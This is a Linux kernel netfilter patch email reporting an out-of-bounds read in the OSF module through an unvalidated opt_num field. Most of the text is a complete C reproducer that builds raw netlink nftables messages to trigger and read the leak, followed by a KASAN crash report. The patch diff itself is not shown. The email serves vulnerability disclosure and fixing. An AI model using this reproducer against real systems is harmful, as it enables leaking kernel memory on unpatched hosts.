[PATCH nf] netfilter/osf: avoid OOB read

Wander Lairson Costa
2023-08-30T21:10:19Z

The opt_num field is controlled by user mode and is not currently
validated inside the kernel. An attacker can take advantage of this to
trigger an OOB read and potentially leak information.

Reproducer:

void install_filter_for_leak()
{
char buf[0x1000] = {0};
struct iovec io = {
.iov_base = buf,
.iov_len = sizeof(buf)
};
struct msghdr msg = {0};
msg.msg_iov = &io;
msg.msg_iovlen = 1;

int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER);
setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &(int){1}, sizeof(int));

memset(buf, 0, sizeof(buf));
*(uint32_t*)(buf) = 0x14;
*(uint16_t*)(buf+4) = 0x10;
*(uint16_t*)(buf+6) = 1;
*(uint32_t*)(buf+8) = 0x63072925;
*(uint16_t*)(buf+0x12) = 0xa;
*(uint32_t*)(buf+0x14) = 0x20;
*(uint16_t*)(buf+0x18) = 0xa00;
*(uint16_t*)(buf+0x1a) = 0x5;
*(uint32_t*)(buf+0x1c) = 0x63072926;
*(uint8_t*)(buf+0x24) = 2;

*(uint16_t*)(buf+0x28) = 0xb;
*(uint16_t*)(buf+0x2a) = 1;
strcpy((void*)(buf+0x2c), "filter");

*(uint32_t*)(buf+0x34) = 0x14;
*(uint16_t*)(buf+0x38) = 0x11;
*(uint16_t*)(buf+0x3a) = 1;
*(uint32_t*)(buf+0x3c) = 0x63072927;
*(uint16_t*)(buf+0x46) = 0xa;
io.iov_len = 0x48;
sendmsg(fd, &msg, 0);

memset(buf, 0, sizeof(buf));
*(uint32_t*)(buf) = 0x14;
*(uint16_t*)(buf+4) = 0x10;
*(uint16_t*)(buf+6) = 1;
*(uint32_t*)(buf+8) = 0x63072925;
*(uint16_t*)(buf+0x12) = 0xa;
*(uint16_t*)(buf+0x14) = 0x40;
*(uint16_t*)(buf+0x18) = 0xa03;
*(uint16_t*)(buf+0x1a) = 0x5;
*(uint32_t*)(buf+0x1c) = 0x63072926;
*(uint32_t*)(buf+0x24) = 2;

*(uint16_t*)(buf+0x28) = 0xb;
*(uint16_t*)(buf+0x2a) = 1;
strcpy((void*)(buf+0x2c), "filter");
*(uint16_t*)(buf+0x34) = 0xa;
*(uint16_t*)(buf+0x36) = 3;
strcpy((void*)(buf+0x38), "input");
*(uint16_t*)(buf+0x40) = 0x14;
*(uint16_t*)(buf+0x42) = 0x8004;
*(uint16_t*)(buf+0x44) = 8;
*(uint16_t*)(buf+0x46) = 1;
*(uint32_t*)(buf+0x48) = 0x1000000;
*(uint16_t*)(buf+0x4c) = 8;
*(uint16_t*)(buf+0x4e) = 2;
*(uint32_t*)(buf+0x50) = 0;

*(uint32_t*)(buf+0x54) = 0x14;
*(uint16_t*)(buf+0x58) = 0x11;
*(uint16_t*)(buf+0x5a) = 1;
*(uint32_t*)(buf+0x5c) = 0x63072f50;
*(uint16_t*)(buf+0x66) = 0xa;
io.iov_len = 0x68;
sendmsg(fd, &msg, 0);

memset(buf, 0, sizeof(buf));
*(uint32_t*)(buf) = 0x14;
*(uint16_t*)(buf+4) = 0x10;
*(uint16_t*)(buf+6) = 1;
*(uint32_t*)(buf+8) = 0x63072925;
*(uint16_t*)(buf+0x12) = 0xa;
*(uint16_t*)(buf+0x14) = 0x40;
*(uint16_t*)(buf+0x18) = 0xa03;
*(uint16_t*)(buf+0x1a) = 5;
*(uint32_t*)(buf+0x1c) = 0x63072926;
*(uint32_t*)(buf+0x24) = 2;
*(uint16_t*)(buf+0x28) = 0xb;
*(uint16_t*)(buf+0x2a) = 1;
strcpy((void*)(buf+0x2c), "filter");
*(uint16_t*)(buf+0x34) = 0xb;
*(uint16_t*)(buf+0x36) = 3;
strcpy((void*)(buf+0x38), "output");
*(uint16_t*)(buf+0x40) = 0x14;
*(uint16_t*)(buf+0x42) = 0x8004;
*(uint16_t*)(buf+0x44) = 8;
*(uint16_t*)(buf+0x46) = 1;
*(uint32_t*)(buf+0x48) = 0x3000000;
*(uint16_t*)(buf+0x4c) = 8;
*(uint16_t*)(buf+0x4e) = 2;
*(uint32_t*)(buf+0x50) = 0;

*(uint32_t*)(buf+0x54) = 0x14;
*(uint16_t*)(buf+0x58) = 0x11;
*(uint16_t*)(buf+0x5a) = 1;
*(uint32_t*)(buf+0x5c) = 0x63072f50;
*(uint16_t*)(buf+0x66) = 0xa;
io.iov_len = 0x68;
sendmsg(fd, &msg, 0);

memset(buf, 0, sizeof(buf));
*(uint32_t*)(buf) = 0x14;
*(uint16_t*)(buf+4) = 0x10;
*(uint16_t*)(buf+6) = 1;
*(uint32_t*)(buf+8) = 0x63072925;
*(uint16_t*)(buf+0x12) = 0xa;
*(uint16_t*)(buf+0x14) = 0x2c;
*(uint16_t*)(buf+0x18) = 0xa03;
*(uint16_t*)(buf+0x1a) = 0x5;
*(uint32_t*)(buf+0x1c) = 0x63072926;
*(uint32_t*)(buf+0x24) = 2;
*(uint16_t*)(buf+0x28) = 0xb;
*(uint16_t*)(buf+0x2a) = 1;
strcpy((void*)(buf+0x2c), "filter");
*(uint16_t*)(buf+0x34) = 0x9;
*(uint16_t*)(buf+0x36) = 3;
strcpy((void*)(buf+0x38), "leak");

*(uint32_t*)(buf+0x40) = 0x14;
*(uint16_t*)(buf+0x44) = 0x11;
*(uint16_t*)(buf+0x46) = 1;
*(uint32_t*)(buf+0x48) = 0x63072f50;
*(uint16_t*)(buf+0x52) = 0xa;
io.iov_len = 0x54;
sendmsg(fd, &msg, 0);

char buf5[] = {
0x14, 0x00, 0x00, 0x00, 0x10, 0x00, 0x01, 0x00,
0x74, 0x41, 0x07, 0x63, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x0a, 0x00, 0x1c, 0x01, 0x00, 0x00,
0x06, 0x0a, 0x05, 0x0c, 0x75, 0x41, 0x07, 0x63,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
0x0b, 0x00, 0x01, 0x00, 0x66, 0x69, 0x6c, 0x74,
0x65, 0x72, 0x00, 0x00, 0x0a, 0x00, 0x02, 0x00,
0x69, 0x6e, 0x70, 0x75, 0x74, 0x00, 0x00, 0x00,
0xf0, 0x00, 0x04, 0x80, 0x24, 0x00, 0x01, 0x80,
0x09, 0x00, 0x01, 0x00, 0x6d, 0x65, 0x74, 0x61,
0x00, 0x50, 0x02, 0x00, 0x14, 0x00, 0x02, 0x80,
0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x10,
0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01,
0x2c, 0x00, 0x01, 0x80, 0x08, 0x00, 0x01, 0x00,
0x63, 0x6d, 0x70, 0x00, 0x20, 0x00, 0x02, 0x80,
0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01,
0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
0x0c, 0x00, 0x03, 0x80, 0x05, 0x00, 0x01, 0x00,
0x06, 0xb0, 0x1b, 0x00, 0x34, 0x00, 0x01, 0x80,
0x0c, 0x00, 0x01, 0x00, 0x70, 0x61, 0x79, 0x6c,
0x6f, 0x61, 0x64, 0x00, 0x24, 0x00, 0x02, 0x80,
0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01,
0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x02,
0x08, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x0d,
0x08, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x01,
0x2c, 0x00, 0x01, 0x80, 0x08, 0x00, 0x01, 0x00,
0x63, 0x6d, 0x70, 0x00, 0x20, 0x00, 0x02, 0x80,
0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01,
0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
0x0c, 0x00, 0x03, 0x80, 0x05, 0x00, 0x01, 0x00,
0x18, 0xd3, 0x01, 0x00, 0x3c, 0x00, 0x01, 0x80,
0x0e, 0x00, 0x01, 0x00, 0x69, 0x6d, 0x6d, 0x65,
0x64, 0x69, 0x61, 0x74, 0x65, 0x00, 0x00, 0x00,
0x28, 0x00, 0x02, 0x80, 0x08, 0x00, 0x01, 0x00,
0x00, 0x00, 0x00, 0x00, 0x1c, 0x00, 0x02, 0x80,
0x18, 0x00, 0x02, 0x80, 0x08, 0x00, 0x01, 0x00,
0xff, 0xff, 0xff, 0xfd, 0x09, 0x00, 0x02, 0x00,
0x6c, 0x65, 0x61, 0x6b, 0x00, 0x00, 0x00, 0x00,
0x14, 0x00, 0x00, 0x00, 0x11, 0x00, 0x01, 0x00,
0x76, 0x41, 0x07, 0x63, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x0a, 0x00};
memset(buf, 0, sizeof(buf));
memcpy(buf, buf5, sizeof(buf5));
io.iov_len = 0x144;
sendmsg(fd, &msg, 0);

char buf6[] = {
0x14, 0x00, 0x00, 0x00, 0x10, 0x00, 0x01, 0x00,
0xd9, 0x4e, 0x07, 0x63, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x0a, 0x00, 0x54, 0x01, 0x00, 0x00,
0x06, 0x0a, 0x05, 0x0c, 0xda, 0x4e, 0x07, 0x63,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
0x0b, 0x00, 0x01, 0x00, 0x66, 0x69, 0x6c, 0x74,
0x65, 0x72, 0x00, 0x00, 0x09, 0x00, 0x02, 0x00,
0x6c, 0x65, 0x61, 0x6b, 0x00, 0x00, 0x00, 0x00,
0x28, 0x01, 0x04, 0x80, 0x34, 0x00, 0x01, 0x80,
0x0c, 0x00, 0x01, 0x00, 0x70, 0x61, 0x79, 0x6c,
0x6f, 0x61, 0x64, 0x00, 0x24, 0x00, 0x02, 0x80,
0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x02,
0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x02,
0x08, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x03,
0x08, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x01,
0x34, 0x00, 0x01, 0x80, 0x0c, 0x00, 0x01, 0x00,
0x70, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x00,
0x24, 0x00, 0x02, 0x80, 0x08, 0x00, 0x05, 0x00,
0x00, 0x00, 0x00, 0x02, 0x08, 0x00, 0x02, 0x00,
0x00, 0x00, 0x00, 0x02, 0x08, 0x00, 0x03, 0x00,
0x00, 0x00, 0x00, 0x0d, 0x08, 0x00, 0x04, 0x00,
0x00, 0x00, 0x00, 0x01, 0x34, 0x00, 0x01, 0x80,
0x0c, 0x00, 0x01, 0x00, 0x70, 0x61, 0x79, 0x6c,
0x6f, 0x61, 0x64, 0x00, 0x24, 0x00, 0x02, 0x80,
0x08, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x02,
0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x01,
0x08, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x08,
0x08, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x01,
0x2c, 0x00, 0x01, 0x80, 0x08, 0x00, 0x01, 0x00,
0x63, 0x6d, 0x70, 0x00, 0x20, 0x00, 0x02, 0x80,
0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x02,
0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x01,
0x0c, 0x00, 0x03, 0x80, 0x05, 0x00, 0x01, 0x00,
0x02, 0x00, 0x02, 0x80, 0x2c, 0x00, 0x01, 0x80,
0x08, 0x00, 0x01, 0x00, 0x63, 0x6d, 0x70, 0x00,
0x20, 0x00, 0x02, 0x80, 0x08, 0x00, 0x01, 0x00,
0x00, 0x00, 0x00, 0x02, 0x08, 0x00, 0x02, 0x00,
0x00, 0x00, 0x00, 0x01, 0x0c, 0x00, 0x03, 0x80,
0x05, 0x00, 0x01, 0x00, 0x02, 0x00, 0x01, 0x00,
0x30, 0x00, 0x01, 0x80, 0x0e, 0x00, 0x01, 0x00,
0x69, 0x6d, 0x6d, 0x65, 0x64, 0x69, 0x61, 0x74,
0x65, 0x00, 0x02, 0x00, 0x1c, 0x00, 0x02, 0x80,
0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x10, 0x00, 0x02, 0x80, 0x0c, 0x00, 0x02, 0x80,
0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x14, 0x00, 0x00, 0x00, 0x11, 0x00, 0x01, 0x00,
0xdb, 0x4e, 0x07, 0x63, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x0a, 0x00};
memset(buf, 0, sizeof(buf));
memcpy(buf, buf6, sizeof(buf6));
io.iov_len = 0x17c;
sendmsg(fd, &msg, 0);

char buf7[] = {
0x14, 0x00, 0x00, 0x00, 0x10, 0x00, 0x01, 0x00,
0x7c, 0x64, 0x07, 0x63, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x0a, 0x00, 0x50, 0x00, 0x00, 0x00,
0x06, 0x0a, 0x05, 0x0c, 0x7d, 0x64, 0x07, 0x63,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
0x0b, 0x00, 0x01, 0x00, 0x66, 0x69, 0x6c, 0x74,
0x65, 0x72, 0x00, 0x00, 0x09, 0x00, 0x02, 0x00,
0x6c, 0x65, 0x61, 0x6b, 0x00, 0x00, 0x00, 0x00,
0x24, 0x00, 0x04, 0x80, 0x20, 0x00, 0x01, 0x80,
0x08, 0x00, 0x01, 0x00, 0x6f, 0x73, 0x66, 0x00,
0x14, 0x00, 0x02, 0x80, 0x08, 0x00, 0x01, 0x00,
0x00, 0x00, 0x00, 0x04, 0x08, 0x00, 0x03, 0x00,
0x00, 0x00, 0x00, 0x01, 0x14, 0x00, 0x00, 0x00,
0x11, 0x00, 0x01, 0x00, 0x7e, 0x64, 0x07, 0x63,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x00,
};
memset(buf, 0, sizeof(buf));
memcpy(buf, buf7, sizeof(buf7));
io.iov_len = 0x78;
sendmsg(fd, &msg, 0);

char buf8[] = {
0x14, 0x00, 0x00, 0x00, 0x10, 0x00, 0x01, 0x00,
0xc9, 0x64, 0x07, 0x63, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x0a, 0x00, 0x28, 0x01, 0x00, 0x00,
0x06, 0x0a, 0x05, 0x0c, 0xca, 0x64, 0x07, 0x63,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
0x0b, 0x00, 0x01, 0x00, 0x66, 0x69, 0x6c, 0x74,
0x65, 0x72, 0x00, 0x00, 0x09, 0x00, 0x02, 0x00,
0x6c, 0x65, 0x61, 0x6b, 0x00, 0x00, 0x00, 0x00,
0xfc, 0x00, 0x04, 0x80, 0x34, 0x00, 0x01, 0x80,
0x0c, 0x00, 0x01, 0x00, 0x70, 0x61, 0x79, 0x6c,
0x6f, 0x61, 0x64, 0x00, 0x24, 0x00, 0x02, 0x80,
0x08, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x04,
0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x02,
0x08, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x20,
0x08, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x10,
0x34, 0x00, 0x01, 0x80, 0x0c, 0x00, 0x01, 0x00,
0x70, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x00,
0x24, 0x00, 0x02, 0x80, 0x08, 0x00, 0x01, 0x00,
0x00, 0x00, 0x00, 0x02, 0x08, 0x00, 0x02, 0x00,
0x00, 0x00, 0x00, 0x02, 0x08, 0x00, 0x03, 0x00,
0x00, 0x00, 0x00, 0x02, 0x08, 0x00, 0x04, 0x00,
0x00, 0x00, 0x00, 0x01, 0x34, 0x00, 0x01, 0x80,
0x0c, 0x00, 0x01, 0x00, 0x70, 0x61, 0x79, 0x6c,
0x6f, 0x61, 0x64, 0x00, 0x24, 0x00, 0x02, 0x80,
0x08, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x02,
0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x02,
0x08, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x0d,
0x08, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x01,
0x2c, 0x00, 0x01, 0x80, 0x08, 0x00, 0x01, 0x00,
0x63, 0x6d, 0x70, 0x00, 0x20, 0x00, 0x02, 0x80,
0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x02,
0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x01,
0x0c, 0x00, 0x03, 0x80, 0x05, 0x00, 0x01, 0x00,
0x18, 0x00, 0x02, 0x80, 0x30, 0x00, 0x01, 0x80,
0x0e, 0x00, 0x01, 0x00, 0x69, 0x6d, 0x6d, 0x65,
0x64, 0x69, 0x61, 0x74, 0x65, 0x00, 0x01, 0x00,
0x1c, 0x00, 0x02, 0x80, 0x08, 0x00, 0x01, 0x00,
0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x02, 0x80,
0x0c, 0x00, 0x02, 0x80, 0x08, 0x00, 0x01, 0x00,
0x00, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00,
0x11, 0x00, 0x01, 0x00, 0xcb, 0x64, 0x07, 0x63,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x00,
};
memset(buf, 0, sizeof(buf));
memcpy(buf, buf8, sizeof(buf8));
io.iov_len = 0x150;
sendmsg(fd, &msg, 0);
}

void *tcp_recv(void * data){

int sockfd, connfd;
struct sockaddr_in servaddr;
int len, n;

if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0 ) {
perror("socket creation failed");
exit(EXIT_FAILURE);
}

memset(&servaddr, 0, sizeof(servaddr));

servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = inet_addr("127.0.0.1");;
servaddr.sin_port = htons(6146);

if ( bind(sockfd, (const struct sockaddr *)&servaddr,
sizeof(servaddr)) < 0 ){
perror("bind failed");
exit(EXIT_FAILURE);
}

int yes = 1;
if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes,
sizeof(int)) == -1) {
perror("setsockopt failed");
exit(EXIT_FAILURE);
}

if ((listen(sockfd, 1)) < 0) {
perror("listen failed");
exit(EXIT_FAILURE);
}

connfd = accept(sockfd, NULL, 0);
if (connfd < 0) {
perror("accept failed");
exit(EXIT_FAILURE);
}
len = 0;

while(1)
{
if(len >= 128)
break;
n = read(connfd, data + len, 128-len);
len += n;
}

close(sockfd);
close(connfd);

return NULL;
}

int tcp_connect()
{
int sockfd;
struct sockaddr_in servaddr;
if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0 ) {
perror("socket creation failed");
exit(EXIT_FAILURE);
}
memset(&servaddr, 0, sizeof(servaddr));

servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = inet_addr("127.0.0.1");;
servaddr.sin_port = htons(6146);

if (connect(sockfd, (const struct sockaddr *)&servaddr,
sizeof(servaddr)) != 0) {
perror("connect failed");
exit(EXIT_FAILURE);
}
return sockfd;
}

int add_osf()
{
int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER);
if (fd == -1) {
errx(EXIT_FAILURE, "socket failed");
}

char iobuf1[0x268] = {0};
*(uint32_t*)(iobuf1) = 0x268;
*(uint8_t*)(iobuf1+4) = 0;
*(uint8_t*)(iobuf1+5) = 0x5;
*(uint16_t*)(iobuf1+6) = 0x405;
*(uint32_t*)(iobuf1+8) = 0x63064c36;
*(uint32_t*)(iobuf1+0x10) = 0;

*(uint16_t*)(iobuf1+0x14) = 0x254;
*(uint16_t*)(iobuf1+0x16) = 1;
*(uint32_t*)(iobuf1+0x18) = 1;
*(uint32_t*)(iobuf1+0x1c) = 4;
*(uint8_t*)(iobuf1+0x20) = 2;
*(uint8_t*)(iobuf1+0x21) = 0x1;
*(uint16_t*)(iobuf1+0x22) = 0xb4;
*(uint16_t*)(iobuf1+0x24) = 0;
*(uint16_t*)(iobuf1+0x26) = 0xff;
strcpy((void*)(iobuf1+0x28), "Windows");
strcpy((void*)(iobuf1+0x48), "98");
*(uint16_t*)(iobuf1+0x88) = 2;
*(uint16_t*)(iobuf1+0x8a) = 4;
*(uint16_t*)(iobuf1+0x94) = 1;
*(uint16_t*)(iobuf1+0x96) = 1;
*(uint16_t*)(iobuf1+0xa0) = 1;
*(uint16_t*)(iobuf1+0xa2) = 1;
*(uint16_t*)(iobuf1+0xac) = 4;
*(uint16_t*)(iobuf1+0xae) = 2;
struct iovec io1 = {
.iov_base = iobuf1,
.iov_len = sizeof(iobuf1)
};
struct msghdr msg1 = {0};
msg1.msg_iov = &io1;
msg1.msg_iovlen = 1;
sendmsg(fd, &msg1, 0);

return 0;
}

int main(int argc, char *argv[])
{
add_osf();

int tid, status;
pthread_t p_thread;
int sockfd;
char buf[128] = {0};

printf("[+] Create tcp communication\n");
tid = pthread_create(&p_thread, NULL, tcp_recv, (void *)buf);
printf(" [-] wait 1sec for server\n");
usleep(10000);
printf(" [-] connect to server\n");
sockfd = tcp_connect();

printf("[+] Install Filter for leak\n");
install_filter_for_leak();

printf("[+] Send packet and read data\n");
write(sockfd, buf, 128);
pthread_join(p_thread, (void **)&status);

printf("[+] Remove filter\n");
int fd1 = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER);
char iobuf1[0x48] = {0};
*(uint32_t*)(iobuf1) = 0x14;
*(uint16_t*)(iobuf1+4) = 0x10;
*(uint16_t*)(iobuf1+6) = 1;
*(uint32_t*)(iobuf1+8) = 0x63072925;
*(uint16_t*)(iobuf1+0x12) = 0xa;
*(uint16_t*)(iobuf1+0x14) = 0x20;
*(uint16_t*)(iobuf1+0x18) = 0xa02;
*(uint16_t*)(iobuf1+0x1a) = 0x5;
*(uint32_t*)(iobuf1+0x1c) = 0x63072926;
*(uint32_t*)(iobuf1+0x24) = 2;
*(uint16_t*)(iobuf1+0x28) = 0xb;
*(uint16_t*)(iobuf1+0x2a) = 1;
strcpy((void*)(iobuf1+0x2c), "filter");
*(uint32_t*)(iobuf1+0x34) = 0x14;
*(uint16_t*)(iobuf1+0x38) = 0x11;
*(uint16_t*)(iobuf1+0x3a) = 1;
*(uint32_t*)(iobuf1+0x3c) = 0x63072927;
*(uint16_t*)(iobuf1+0x46) = 0xa;
struct iovec io1 = {
.iov_base = iobuf1,
.iov_len = sizeof(iobuf1)
};
struct msghdr msg1 = {0};
msg1.msg_iov = &io1;
msg1.msg_iovlen = 1;
sendmsg(fd1, &msg1, 0);

return 0;
}

KASAN report:

==================================================================
BUG: KASAN: slab-out-of-bounds in nf_osf_match_one+0xbed/0xd10 linux-6.0-rc4/net/netfilter/nfnetlink_osf.c:88
Read of size 2 at addr ffff88804bc64272 by task poc/6431

CPU: 1 PID: 6431 Comm: poc Not tainted 6.0.0-rc4 #1
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org 04/01/2014
Call Trace:
<IRQ>
__dump_stack linux-6.0-rc4/lib/dump_stack.c:88
dump_stack_lvl+0xcd/0x134 linux-6.0-rc4/lib/dump_stack.c:106
print_address_description linux-6.0-rc4/mm/kasan/report.c:317
print_report.cold+0x2ba/0x6e9 linux-6.0-rc4/mm/kasan/report.c:433
kasan_report+0xb1/0x1e0 linux-6.0-rc4/mm/kasan/report.c:495
nf_osf_match_one+0xbed/0xd10 linux-6.0-rc4/net/netfilter/nfnetlink_osf.c:88
nf_osf_find+0x186/0x2f0 linux-6.0-rc4/net/netfilter/nfnetlink_osf.c:281
nft_osf_eval+0x37f/0x590 linux-6.0-rc4/net/netfilter/nft_osf.c:47
expr_call_ops_eval linux-6.0-rc4/net/netfilter/nf_tables_core.c:214
nft_do_chain+0x2b0/0x1490 linux-6.0-rc4/net/netfilter/nf_tables_core.c:264
nft_do_chain_ipv4+0x17c/0x1f0 linux-6.0-rc4/net/netfilter/nft_chain_filter.c:23
nf_hook_entry_hookfn linux-6.0-rc4/./include/linux/netfilter.h:142
nf_hook_slow+0xc5/0x1f0 linux-6.0-rc4/net/netfilter/core.c:620
nf_hook linux-6.0-rc4/./include/linux/netfilter.h:262
NF_HOOK linux-6.0-rc4/./include/linux/netfilter.h:305
ip_local_deliver+0x2f5/0x4e0 linux-6.0-rc4/net/ipv4/ip_input.c:254
dst_input linux-6.0-rc4/./include/net/dst.h:461
ip_rcv_finish+0x1cb/0x2f0 linux-6.0-rc4/net/ipv4/ip_input.c:444
NF_HOOK linux-6.0-rc4/./include/linux/netfilter.h:307
NF_HOOK linux-6.0-rc4/./include/linux/netfilter.h:301
ip_rcv+0xc4/0x3b0 linux-6.0-rc4/net/ipv4/ip_input.c:564
__netif_receive_skb_one_core+0x114/0x180 linux-6.0-rc4/net/core/dev.c:5485
__netif_receive_skb+0x1f/0x1c0 linux-6.0-rc4/net/core/dev.c:5599
process_backlog+0x13a/0x690 linux-6.0-rc4/net/core/dev.c:5927
__napi_poll.constprop.0+0xaf/0x430 linux-6.0-rc4/net/core/dev.c:6511
napi_poll linux-6.0-rc4/net/core/dev.c:6578
net_rx_action+0x8d2/0xc60 linux-6.0-rc4/net/core/dev.c:6689
__do_softirq+0x1d3/0x9b3 linux-6.0-rc4/kernel/softirq.c:571
do_softirq linux-6.0-rc4/kernel/softirq.c:472
do_softirq+0x101/0x140 linux-6.0-rc4/kernel/softirq.c:459
</IRQ>
<TASK>
__local_bh_enable_ip+0xf4/0x110 linux-6.0-rc4/kernel/softirq.c:396
local_bh_enable linux-6.0-rc4/./include/linux/bottom_half.h:33
rcu_read_unlock_bh linux-6.0-rc4/./include/linux/rcupdate.h:776
ip_finish_output2+0x7d6/0x21a0 linux-6.0-rc4/net/ipv4/ip_output.c:229
__ip_finish_output linux-6.0-rc4/net/ipv4/ip_output.c:306
__ip_finish_output+0x396/0x650 linux-6.0-rc4/net/ipv4/ip_output.c:288
ip_finish_output+0x2d/0x280 linux-6.0-rc4/net/ipv4/ip_output.c:316
NF_HOOK_COND linux-6.0-rc4/./include/linux/netfilter.h:296
ip_output+0x20a/0x620 linux-6.0-rc4/net/ipv4/ip_output.c:430
dst_output linux-6.0-rc4/./include/net/dst.h:451
ip_local_out linux-6.0-rc4/net/ipv4/ip_output.c:126
__ip_queue_xmit+0x8de/0x1bd0 linux-6.0-rc4/net/ipv4/ip_output.c:532
__tcp_transmit_skb+0x195b/0x3820 linux-6.0-rc4/net/ipv4/tcp_output.c:1402
tcp_transmit_skb linux-6.0-rc4/net/ipv4/tcp_output.c:1420
tcp_write_xmit+0xd9b/0x5f70 linux-6.0-rc4/net/ipv4/tcp_output.c:2691
__tcp_push_pending_frames+0xaa/0x380 linux-6.0-rc4/net/ipv4/tcp_output.c:2875
tcp_push+0x49b/0x720 linux-6.0-rc4/net/ipv4/tcp.c:728
tcp_sendmsg_locked+0x2480/0x2fc0 linux-6.0-rc4/net/ipv4/tcp.c:1455
tcp_sendmsg+0x2b/0x40 linux-6.0-rc4/net/ipv4/tcp.c:1483
inet_sendmsg+0x99/0xe0 linux-6.0-rc4/net/ipv4/af_inet.c:819
sock_sendmsg_nosec linux-6.0-rc4/net/socket.c:714
sock_sendmsg+0xcf/0x120 linux-6.0-rc4/net/socket.c:734
sock_write_iter+0x291/0x3d0 linux-6.0-rc4/net/socket.c:1108
call_write_iter linux-6.0-rc4/./include/linux/fs.h:2187
new_sync_write linux-6.0-rc4/fs/read_write.c:491
vfs_write+0x9ef/0xde0 linux-6.0-rc4/fs/read_write.c:578
ksys_write+0x1e8/0x250 linux-6.0-rc4/fs/read_write.c:631
do_syscall_x64 linux-6.0-rc4/arch/x86/entry/common.c:50
do_syscall_64+0x35/0xb0 linux-6.0-rc4/arch/x86/entry/common.c:80
entry_SYSCALL_64_after_hwframe+0x63/0xcd linux-6.0-rc4/arch/x86/entry/entry_64.S:120
RIP: 0033:0x7f1674040fef
Code: 89 54 24 18 48 89 74 24 10 89 7c 24 08 e8 29 fd ff ff 48 8b 54 24 18 48 8b 74 24 10 41 89 c0 8b 7c 24 08 b8 01 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 31 44 89 c7 48 89 44 24 08 e8 5c fd ff ff 48
RSP: 002b:00007ffe90523f50 EFLAGS: 00000293 ORIG_RAX: 0000000000000001
RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f1674040fef
RDX: 0000000000000080 RSI: 00007ffe90524030 RDI: 0000000000000006
RBP: 00007ffe905240d0 R08: 0000000000000000 R09: 0000000000000000
R10: 0000560534f9b61f R11: 0000000000000293 R12: 0000560534f9c1b0
R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
</TASK>

Allocated by task 6431:
kasan_save_stack+0x1e/0x40 linux-6.0-rc4/mm/kasan/common.c:38
kasan_set_track linux-6.0-rc4/mm/kasan/common.c:45
set_alloc_info linux-6.0-rc4/mm/kasan/common.c:437
____kasan_kmalloc linux-6.0-rc4/mm/kasan/common.c:516
____kasan_kmalloc linux-6.0-rc4/mm/kasan/common.c:475
__kasan_kmalloc+0xa6/0xd0 linux-6.0-rc4/mm/kasan/common.c:525
kasan_kmalloc linux-6.0-rc4/./include/linux/kasan.h:234
kmem_cache_alloc_trace+0x25a/0x460 linux-6.0-rc4/mm/slab.c:3559
kmalloc linux-6.0-rc4/./include/linux/slab.h:600
